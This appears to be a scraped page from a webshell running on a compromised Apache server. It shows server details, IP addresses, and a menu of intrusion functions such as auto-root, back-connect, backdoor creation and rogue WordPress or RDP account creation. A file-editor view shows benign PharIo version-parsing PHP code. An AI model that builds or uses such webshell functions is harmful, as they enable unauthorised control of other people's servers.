Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 18.188.209.71
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
dev /
core /
vendor /
phar-io /
version /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
constraints
[ DIR ]
drwxr-xr-x
exceptions
[ DIR ]
drwxr-xr-x
PreReleaseSuffix.php
1.94
KB
-rw-r--r--
Version.php
4.11
KB
-rw-r--r--
VersionConstraintParser.php
3.36
KB
-rw-r--r--
VersionConstraintValue.php
2.7
KB
-rw-r--r--
VersionNumber.php
673
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VersionConstraintParser.php
<?php declare(strict_types = 1); /* * This file is part of PharIo\Version. * * (c) Arne Blankerts <arne@blankerts.de>, Sebastian Heuer <sebastian@phpeople.de>, Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class VersionConstraintParser { /** * @param string $value * * @throws UnsupportedVersionConstraintException */ public function parse($value): VersionConstraint { if (\strpos($value, '||') !== false) { return $this->handleOrGroup($value); } if (!\preg_match('/^[\^~*]?v?[\d.*]+(?:-.*)?$/i', $value)) { throw new UnsupportedVersionConstraintException( \sprintf('Version constraint %s is not supported.', $value) ); } switch ($value[0]) { case '~': return $this->handleTildeOperator($value); case '^': return $this->handleCaretOperator($value); } $version = new VersionConstraintValue($value); if ($version->getMajor()->isAny()) { return new AnyVersionConstraint(); } if ($version->getMinor()->isAny()) { return new SpecificMajorVersionConstraint( $version->getVersionString(), $version->getMajor()->getValue() ); } if ($version->getPatch()->isAny()) { return new SpecificMajorAndMinorVersionConstraint( $version->getVersionString(), $version->getMajor()->getValue(), $version->getMinor()->getValue() ); } return new ExactVersionConstraint($version->getVersionString()); } /** * @param $value */ private function handleOrGroup($value): OrVersionConstraintGroup { $constraints = []; foreach (\explode('||', $value) as $groupSegment) { $constraints[] = $this->parse(\trim($groupSegment)); } return new OrVersionConstraintGroup($value, $constraints); } /** * @param string $value */ private function handleTildeOperator($value): AndVersionConstraintGroup { $version = new Version(\substr($value, 1)); $constraints = [ new GreaterThanOrEqualToVersionConstraint($value, $version) ]; if ($version->getPatch()->isAny()) { $constraints[] = new SpecificMajorVersionConstraint( $value, $version->getMajor()->getValue() ); } else { $constraints[] = new SpecificMajorAndMinorVersionConstraint( $value, $version->getMajor()->getValue(), $version->getMinor()->getValue() ); } return new AndVersionConstraintGroup($value, $constraints); } /** * @param string $value */ private function handleCaretOperator($value): AndVersionConstraintGroup { $version = new Version(\substr($value, 1)); return new AndVersionConstraintGroup( $value, [ new GreaterThanOrEqualToVersionConstraint($value, $version), new SpecificMajorVersionConstraint($value, $version->getMajor()->getValue()) ] ); } }
Close